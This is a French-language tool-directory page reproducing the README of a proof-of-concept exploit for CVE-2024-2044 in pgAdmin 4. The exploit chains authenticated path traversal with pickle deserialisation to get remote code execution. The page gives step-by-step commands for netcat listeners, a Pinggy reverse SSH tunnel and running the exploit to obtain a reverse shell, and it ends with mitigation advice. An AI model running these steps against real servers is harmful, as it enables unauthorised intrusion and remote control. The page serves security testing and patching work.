Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-2044 — PoC Python exploitant CVE-2024-2044 dans pgAdmin 4 (<=8.3) via un path traversal authentifié et une désérialisation pickle non sécurisée pour obtenir une exécution de code à distance et un reverse shell. | Kitploit
Outils/GitHubGitHub/hanzzly/cve-2024-2044
Analyse des VulnérabilitésExploitationExploitation d'Applications WebPost-ExploitationSécurité WebTests d'IntrusionOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubhanzzly/cve-2024-2044

CVE-2024-2044

PoC Python exploitant CVE-2024-2044 dans pgAdmin 4 (<=8.3) via un path traversal authentifié et une désérialisation pickle non sécurisée pour obtenir une exécution de code à distance et un reverse shell.

il y a 19h 6mPas encore vérifié
Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC CVE-2024-2044 : pgAdmin 4 RCE Authentifié (Linux/POSIX)

Ce dépôt contient un script Proof of Concept (PoC) pour CVE-2024-2044, une vulnérabilité critique combinant Path Traversal Authentifié et Désérialisation Non Sécurisée dans pgAdmin 4 (versions 8.3 et antérieures) fonctionnant sous Linux/POSIX.

[!WARNING] AVERTISSEMENT : Ce code est créé uniquement à des fins éducatives, de recherche en sécurité et de tests d'intrusion autorisés (authorized pentesting). L'utilisation abusive de ce code pour attaquer des cibles sans autorisation écrite est illégale et contraire à la loi.


Description de la Vulnérabilité

Dans pgAdmin 4 en mode serveur sous Linux, la gestion des sessions est stockée sous forme de fichiers locaux. La vulnérabilité se produit car la fonction FileBackedSessionManager.get() accepte la valeur du cookie HTTP pga4_session et la concatène au chemin du répertoire à l'aide de os.path.join sans assainir les caractères de manipulation de chemin (../).

Ce script PoC exploite cette faille selon le déroulement suivant :

  1. Authentification : Effectue une connexion automatique à l'aide d'identifiants valides pour obtenir une session active et contourner le jeton CSRF.
  2. Téléversement du Payload : Exploite l'utilitaire Storage Manager intégré pour téléverser un objet Python pickle malveillant contenant une commande Reverse Shell. Ce fichier est stocké dans le répertoire de stockage de l'utilisateur (par exemple : /storage/nom_user/).
  3. Déclenchement du Path Traversal : Envoie une requête HTTP vers /login en manipulant le cookie pga4_session pour qu'il pointe vers le chemin relatif du fichier pickle téléversé (par exemple : ../storage/nom_user/file.pickle!). Le symbole ! est utilisé pour correspondre à la recherche d'extension de fichier de session dans pgAdmin 4.
  4. Exécution de Code (RCE) : Le serveur pgAdmin 4 est trompé pour lire ce fichier et le traiter avec pickle.loads(). Par conséquent, le payload exécute un processus Python séparé (detached) qui renvoie un Reverse Shell à l'attaquant.

Prérequis (Prerequisites)

  • Cible : pgAdmin 4 <= 8.3 (Server Mode) fonctionnant sous Linux/POSIX.
  • Accès : Nécessite un compte de connexion valide (Nom d'utilisateur et Mot de passe).
  • Dépendances du Script : Python 3 et la bibliothèque requests.

Guide d'Utilisation

Option A : Utilisation d'une IP Publique Directe (Local/VPN)

  1. Ouvrez un port netcat sur votre machine pour recevoir la connexion reverse shell :
    root@kitploit:~
    nc -lvnp 4444
    
  2. Exécutez le script d'exploitation :
    root@kitploit:~
    python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost <IP_ATTACKER> -lport 4444
    

Option B : Utilisation du Port Forwarding (Pinggy.io)

Si votre machine se trouve derrière un NAT/Routeur et nécessite un tunnelling public, vous pouvez utiliser le service Pinggy.io en suivant les étapes ci-dessous :

1. Lancer le Listener Netcat Local

Démarrez nc sur la machine locale en premier lieu en utilisant le port de votre choix (par exemple : port 1337) :

root@kitploit:~
nc -lvnp 1337

2. Lancer le Tunnel Pinggy

Ouvrez un nouveau terminal, puis exécutez la commande SSH Pinggy. Assurez-vous que le port local à la fin (1337) correspond au port nc que vous avez démarré précédemment :

root@kitploit:~
ssh -p 443 -R0:localhost:1337 [email protected]

Une fois connecté, Pinggy fournira une URL publique TCP, par exemple : tcp://ubylm-103-79-246-198.run.pinggy-free.link:43143 image

Remarque : Le port public obtenu depuis Pinggy est 43143 (Ce sera le -lport plus tard).

3. Trouver l'IP Réelle de Pinggy (Obtenir le LHOST)

Le serveur pgAdmin 4 cible nécessite un format d'adresse IP réelle pour la connexion socket reverse shell. Effectuez un nslookup sur le domaine de votre URL Pinggy :

root@kitploit:~
nslookup ubylm-103-79-246-198.run.pinggy-free.link

La sortie affichera l'IP publique du serveur Pinggy (choisissez l'IPv4 dans la section Address la plus haute) :

root@kitploit:~
Non-authoritative answer:
ubylm-103-79-246-198.run.pinggy-free.link       canonical name = lin.ap.12.a.pinggy.click.
Name:   lin.ap.12.a.pinggy.click
Address: 172.236.148.125

D'après la sortie ci-dessus, l'IP réelle de Pinggy obtenue est : 172.236.148.125.

image

4. Exécuter le Script d'Exploitation

Exécutez le script PoC en saisissant l'IP résultant du nslookup comme -lhost et le port public Pinggy comme -lport :

root@kitploit:~
python3 exploit.py -t http://<TARGET_IP>:<PORT> -u "[email protected]" -p "player123" -lhost 172.236.148.125 -lport 43143
image
image

Paramètres des Options du Script

  • -t, --target : URL cible pgAdmin 4 (Obligatoire).
  • -u, --username: Email/Nom d'utilisateur de connexion (Par défaut : [email protected]).
  • -p, --password: Mot de passe de connexion (Par défaut : player123).
  • -lhost : Adresse IP de l'attaquant / IP résultant du nslookup Pinggy (Obligatoire).
  • -lport : Port listener de l'attaquant / Port public Pinggy (Obligatoire).

Mitigation

Cette vulnérabilité a été corrigée dans pgAdmin 4 version 8.4. Si vous gérez un serveur vulnérable, prenez immédiatement les mesures suivantes :

  1. Mettez à jour pgAdmin 4 vers la version 8.4 ou ultérieure.
  2. Restreignez l'accès réseau au panneau pgAdmin 4 à l'aide d'un VPN ou d'une Firewall Whitelist.
  3. Assurez-vous que le processus pgAdmin 4 s'exécute avec les privilèges d'un utilisateur ordinaire (non-root).
Télécharger l’outil